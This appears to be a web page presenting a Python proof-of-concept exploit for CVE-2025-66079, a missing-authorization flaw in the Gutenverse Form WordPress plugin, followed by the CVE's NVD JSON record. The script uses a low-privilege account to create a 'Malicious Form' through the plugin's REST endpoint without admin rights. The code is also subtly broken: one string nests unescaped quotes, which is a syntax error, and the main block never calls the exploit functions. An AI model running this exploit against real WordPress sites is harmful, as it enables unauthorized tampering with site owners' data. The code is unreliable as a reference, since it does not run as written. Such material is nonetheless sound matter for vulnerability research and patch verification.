CVE-2025-66079

# CVE-2025-66079 PoC - Gutenverse Form Missing Authorization # Requires low-privilege WordPress account import requests import sys TARGET_URL = "https://vulnerable-site.com" USERNAME = "attacker" PASSWORD = "password" def get_wp_nonce(url, auth_cookie): """Get WordPress REST API nonce from page""" resp = requests.get(url, cookies={'wordpress_logged_in': auth_cookie}) # Extract nonce from page source return resp.text.split('wpApiSettings')[1].split('"')[2] if 'wpApiSettings' in resp.text else None def exploit_unauthorized_access(target_url, auth_cookie, nonce): """Exploit missing authorization in Gutenverse Form""" headers = { 'X-WP-Nonce': nonce, 'Content-Type': 'application/json' } # Attempt to access admin-only form data with subscriber account endpoint = f"{target_url}/wp-json/gutenverse/v1/forms" # This request should fail with proper authorization but succeeds # due to missing capability check in the plugin payload = { "form_title": "Malicious Form", "form_data": "{"type":"malicious"}" } response = requests.post(endpoint, json=payload, headers=headers, cookies={'wordpress_logged_in': auth_cookie}) if response.status_code == 200: print("[+] Exploit successful - Created form without admin privileges") return True else: print(f"[-] Request failed with status {response.status_code}") return False if __name__ == "__main__": print("CVE-2025-66079 - Gutenverse Form Authorization Bypass") print("Target: Affected versions <= 2.2.0") print("Fix: Upgrade to version 2.2.1 or later")

{"cve": {"id": "CVE-2025-66079", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:48.823", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Jegstudio Gutenverse Form gutenverse-form allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Gutenverse Form: from n/a through <= 2.2.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gutenverse-form/vulnerability/wordpress-gutenverse-form-plugin-2-2-0-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}